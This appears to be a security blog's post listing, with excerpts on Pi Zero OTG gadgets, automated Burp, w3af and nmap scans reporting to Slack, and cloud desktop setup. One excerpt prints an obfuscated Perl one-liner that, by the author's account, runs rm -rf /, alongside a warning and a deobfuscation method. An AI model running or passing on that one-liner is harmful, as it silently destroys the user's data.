Curiosity in Practice
I have been playing with my stack of pizero a bunch lately and tonight I decided to put together a piZero OTG Ethernet gadget that runs Kali (Really KaToolin), XRDP and Mate in a computer on a stick configuration. This way I have a full (as I want it to be) Kali installation with me as long … Read more
I have been playing with my stack of piZero’s recently and started to read about the kernel OTG gadgets and was intrigued by the OTG_HID gadget. So after doing some reading I found that someone had ported the USB Rubber Ducky platform to the piZero and called it rspiducky. Building it is fairly straight forward but if you if … Read more
Thanks to PoisonTap I have finally had a reason to pull my PiZero out of the ever growing “Stuff to Hack” pile and start working on it. I have a couple of neat ideas that are coming down the pipeline but this weekend I built a VPN sidecar using a USB OTG Gadget. I … Read more
In the last two years Burp Suite Proxy has become my go to web application security scanner. As with everything recently if I can automate it, I do. So this weekend I built a simple script to scan a website with Burp, create a PDF report and post it to Slack: Here is how I set it … Read more
I have recently been automating a lot of my technical security tasks and building slack bots around them and it was w3af‘s turn. W3af is an amazing open source web application security scanner that my friend Andres Riancho writes and maintains. The goal of this project was to build scheduled and automated scans of my web properties … Read more
As I have talked about before “You can’t defend what you dont know exists” so today while sitting around and trying to recover from walking pneumonia I wrote slackmap to continually nmap a network and post the differences to slack: Configuration is amazingly easy. I run a copy of this on a $5 a month Digitalocean Droplet for an external … Read more
I am often asked “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.” While that is simple advice it is a lot harder to implement. One company I was working with was looking at a system to do … Read more
I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : … Read more
Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;s;;$_;see’ Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e ‘s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;print “$_\n”‘ While trying to figure out how this code code I stumbled … Read more
Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick … Read more
